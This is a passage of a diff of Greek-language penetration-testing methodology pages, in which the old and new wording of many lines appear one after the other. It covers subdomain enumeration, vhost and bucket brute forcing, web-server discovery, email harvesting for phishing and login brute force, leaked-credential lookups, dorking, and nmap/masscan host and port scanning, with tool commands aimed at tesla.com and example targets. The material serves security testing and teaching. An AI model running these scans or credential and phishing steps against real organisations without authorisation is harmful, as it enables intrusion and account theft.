Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Μεταφορά Ζώνης** (Αν είναι ευάλωτη, θα πρέπει να την αναφέρετε).
```bash
dnsrecon -a -d tesla.com
```
### **OSINT**
Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα API keys):
Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API):
- [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -250,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, ακόμη και αν δεν είναι άμεσα εξειδικευμένα στην εύρεση υποτομέων, θα μπορούσαν να είναι χρήσιμα για την εύρεση υποτομέων, όπως:
Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, ακόμα και αν δεν είναι άμεσα εξειδικευμένα στην εύρεση υποτομέων, θα μπορούσαν να είναι χρήσιμα για την εύρεση υποτομέων, όπως:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Χρησιμοποιεί το API [https://sonar.omnisint.io](https://sonar.omnisint.io) για να αποκτήσει υποτομείς
```bash
@ -312,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
- [**securitytrails.com**](https://securitytrails.com/) έχει δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
- [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Αυτό το έργο προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να αποκτήσετε πρόσβαση στο πεδίο που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force σε ονόματα τομέα ασύγχρονα.
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να επιτεθεί σε ονόματα τομέα ασύγχρονα.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@ -374,20 +374,20 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν).
- [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερα να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν).
- Μπορείτε να αποκτήσετε τις παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
- [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς.
#### Έξυπνη γενιά παραλλαγών
#### Smart permutations generation
- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς.
```bash
@ -401,7 +401,7 @@ echo www | subzuf facebook.com
```
### **Ροή Εργασίας Ανακάλυψης Υποτομέων**
Δείτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου:
Δείτε αυτήν την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου:
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Εικονικοί Φιλοξενούμενοι**
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτή την IP**.
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτήν την IP**.
#### OSINT
@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
**Brute Force**
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force:
Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -435,7 +435,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
#https://github.com/codingo/VHostScan
VHostScan -t example.com
```
> [!NOTE]
> [!TIP]
> Με αυτή την τεχνική μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε εσωτερικά/κρυφά endpoints.
### **CORS Brute Force**
@ -446,12 +446,12 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **Buckets Brute Force**
Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Κατά την αναζήτηση για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανά ονόματα buckets και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorization**
Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)το οποίο κάνει.
### **Looking for vulnerabilities**
@ -487,18 +487,18 @@ _Σημειώστε ότι μερικές φορές το subdomain φιλοξε
Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Στιγμιότυπα**
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
Τώρα που έχετε ανακαλύψει **όλους τους web servers** που υπάρχουν στο πεδίο (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας αρχίσουμε απλά να παίρνουμε στιγμιότυπα όλων αυτών. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **πιθανό** να είναι **ευάλωτες**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν να περιέχει ευπάθειες**, και τι όχι.
Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι.
## Δημόσια Περιουσιακά Στοιχεία Cloud
@ -522,7 +522,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## Emails
Με τους **τομείς** και **υποτομείς** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να ξεκινήσετε την αναζήτηση για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας:
Με τα **domains** και **subdomains** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να αρχίσετε να ψάχνετε για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας:
- [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs
- API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση)
@ -531,11 +531,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζητώντας ευπάθειες**
Τα emails θα είναι χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
## Διαρροές Διαπιστευτηρίων
Με τους **τομείς,** **υποτομείς**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails:
Με τα **domains,** **subdomains**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
@ -553,11 +553,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** κατά όλων των **κειμένων** που παρέχονται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
{{#ref}}
github-leaked-secrets.md
@ -565,12 +565,12 @@ github-leaked-secrets.md
### Διαρροές Pastes
Μερικές φορές οι επιτιθέμενοι ή απλώς οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα.
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια σελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το ψάξετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να ψάξετε σε περισσότερες από 80 σελίδες paste ταυτόχρονα.
### Google Dorks
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή μπορείτε να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
@ -580,7 +580,7 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
## Δημόσιες Ευπάθειες Κώδικα
Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν.
Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** τον και να αναζητήσετε **ευπάθειες** σε αυτόν.
**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
@ -594,9 +594,9 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες εφαρμογών**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html).
Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web εφαρμογές**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν θα πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες web.**
## Ανακεφαλαίωση
@ -604,12 +604,12 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
Έτσι έχετε ήδη:
1. Βρει όλους τους **εταιρείες** μέσα στο πεδίο
1. Βρει όλες τις **εταιρείες** μέσα στο πεδίο
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια υποτομέα takeover;)
5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
3. Βρει όλα τα **domains** που ανήκουν στις εταιρείες
4. Βρει όλα τα **subdomains** των domains (υπάρχει κάποια ανάληψη subdomain;)
5. Βρει όλες τις **IPs** (από και **όχι από CDNs**) μέσα στο πεδίο.
6. Βρει όλους τους **web servers** και πήρε ένα **στιγμιότυπο** από αυτούς (υπάρχει κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Pentesting όλων των ιστοσελίδων που βρήκατε**

View File

@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP Port Discovery
Είναι πολύ συνηθισμένο να διαπιστώνουμε ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας υπολογιστής είναι ενεργός είναι να **προσπαθήσετε να βρείτε ανοιχτές θύρες**. Κάθε υπολογιστής έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\
Είναι πολύ συνηθισμένο να διαπιστώνεται ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας υπολογιστής είναι ενεργός είναι να **προσπαθήσετε να βρείτε ανοιχτές θύρες**. Κάθε υπολογιστής έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\
Έτσι, αυτό που χρειάζεστε είναι ένας **γρήγορος σαρωτής θύρας** ([masscan](https://github.com/robertdavidgraham/masscan)) και μια λίστα με τις **πιο χρησιμοποιούμενες θύρες:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP Port Discovery
Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP port είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **host.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP probe, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος για να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας:
Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP θύρα είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **φιλοξενούμενο.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος για να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
Η γραμμή nmap που προτάθηκε προηγουμένως θα δοκιμάσει τις **1000 κορυφαίες θύρες UDP** σε κάθε υπολογιστή μέσα στην **/24** περιοχή, αλλά ακόμη και μόνο αυτό θα πάρει **>20min**. Αν χρειάζεστε **ταχύτερα αποτελέσματα**, μπορείτε να χρησιμοποιήσετε [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Αυτό θα στείλει αυτές τις **UDP probes** στην **αναμενόμενη θύρα** τους (για μια περιοχή /24 αυτό θα πάρει μόνο 1 λεπτό): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
Η γραμμή nmap που προτάθηκε προηγουμένως θα δοκιμάσει τις **1000 κορυφαίες θύρες UDP** σε κάθε υπολογιστή μέσα στην **/24** περιοχή, αλλά ακόμη και μόνο αυτό θα πάρει **>20min**. Αν χρειάζεστε **ταχύτερα αποτελέσματα**, μπορείτε να χρησιμοποιήσετε το [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Αυτό θα στείλει αυτές τις **UDP probes** στην **αναμενόμενη θύρα** τους (για μια περιοχή /24 αυτό θα πάρει μόνο 1 λεπτό): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP Port Discovery
```bash
@ -60,7 +60,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
## Discovering hosts from the inside
Αν βρίσκεστε μέσα στο δίκτυο, ένα από τα πρώτα πράγματα που θα θέλετε να κάνετε είναι να **ανακαλύψετε άλλους hosts**. Ανάλογα με **πόσο θόρυβο** μπορείτε/θέλετε να κάνετε, μπορούν να εκτελούνται διαφορετικές ενέργειες:
Αν είστε μέσα στο δίκτυο, ένα από τα πρώτα πράγματα που θα θέλετε να κάνετε είναι να **ανακαλύψετε άλλους hosts**. Ανάλογα με **πόσο θόρυβο** μπορείτε/θέλετε να κάνετε, μπορούν να εκτελούνται διαφορετικές ενέργειες:
### Passive
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Ενεργό
Σημειώστε ότι οι τεχνικές που σχολιάστηκαν στο [_**Ανακαλύπτοντας hosts από έξω**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) μπορούν επίσης να **εφαρμοστούν εδώ**.\
